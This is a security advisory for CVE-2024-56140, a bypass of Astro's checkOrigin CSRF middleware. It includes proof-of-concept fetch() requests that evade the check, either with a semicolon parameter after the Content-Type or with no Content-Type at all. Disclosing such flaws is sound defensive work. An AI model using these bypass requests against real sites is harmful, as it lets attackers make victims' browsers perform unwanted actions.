CVE-2024-56140: Bypass of CSRF Middleware in Astro

Summary

A bug in Astro’s CSRF-protection middleware allows requests to bypass CSRF checks.

Details

When the security.checkOrigin configuration option is set to true, Astro middleware will perform a CSRF check. (Source code: https://github.com/withastro/astro/blob/6031962ab5f56457de986eb82bd24807e926ba1b/packages/astro/src/core/app/middlewares.ts)

For example, with the following Astro configuration:

js // astro.config.mjs import { defineConfig } from 'astro/config'; import node from '@astrojs/node';

export default defineConfig({ output: 'server', security: { checkOrigin: true }, adapter: node({ mode: 'standalone' }), });

A request like the following would be blocked if made from a different origin:

js // fetch API or <form action="https://test.example.com/" method="POST"> fetch('https://test.example.com/', { method: 'POST', credentials: 'include', body: 'a=b', headers: { 'Content-Type': 'application/x-www-form-urlencoded' }, }); // => Cross-site POST form submissions are forbidden

However, a vulnerability exists that can bypass this security.

Pattern 1: Requests with a semicolon after the Content-Type

A semicolon-delimited parameter is allowed after the type in Content-Type.

Web browsers will treat a Content-Type such as application/x-www-form-urlencoded; abc as a simple request and will not perform preflight validation. In this case, CSRF is not blocked as expected.

js fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: 'test', headers: { 'Content-Type': 'application/x-www-form-urlencoded; abc' }, }); // => Server-side functions are executed (Response Code 200).

Pattern 2: Request without Content-Type header

The Content-Type header is not required for a request. The following examples are sent without a Content-Type header, resulting in CSRF.

js // Pattern 2.1 Request without body fetch('http://test.example.com', { method: 'POST', credentials: 'include' });

// Pattern 2.2 Blob object without type fetch('https://test.example.com', { method: 'POST', credentials: 'include', body: new Blob(['a=b'], {}), });

Impact

Bypass CSRF protection implemented with CSRF middleware.

> [!Note] > Even with credentials: 'include', browsers may not send cookies due to third-party cookie blocking. This feature depends on the browser version and settings, and is for privacy protection, not as a CSRF measure.